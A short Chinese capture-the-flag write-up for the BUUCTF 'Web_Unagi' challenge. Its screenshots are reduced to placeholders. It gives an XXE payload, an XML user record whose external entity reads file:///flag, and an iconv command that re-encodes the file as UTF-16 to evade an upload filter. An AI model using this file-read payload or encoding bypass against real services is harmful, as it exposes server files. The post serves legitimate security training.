BUUCTF:[CSAWQual 2019]Web_Unagi

打开界面
在这里插入图片描述
看看其他有什么内容:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
来看看格式事例:
在这里插入图片描述
从信息提示我们可以知道要通过编写xml文件上传
即通过XXE编码转换成utf-16编码绕过

我们可以利用vim编辑xml文件(取名为2.xml)
构造payload如下:

<?xml version='1.0'?>
<!DOCTYPE users [
<!ENTITY xxe SYSTEM "file:///flag" >]>
<users>
    <user>
        <username>bob</username>
        <password>passwd2</password>
        <name> Bob</name>
        <email>[email protected]</email>  
        <group>CSAW2019</group>
        <intro>&xxe;</intro>
    </user>
</users>

在这里插入图片描述
转换命令:

iconv -f utf8 -t utf-16 2.xml>1.xml

转换后可以看见:
在这里插入图片描述
将1.xml上传到upload即可拿到flag
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/m0_46481239/article/details/106622799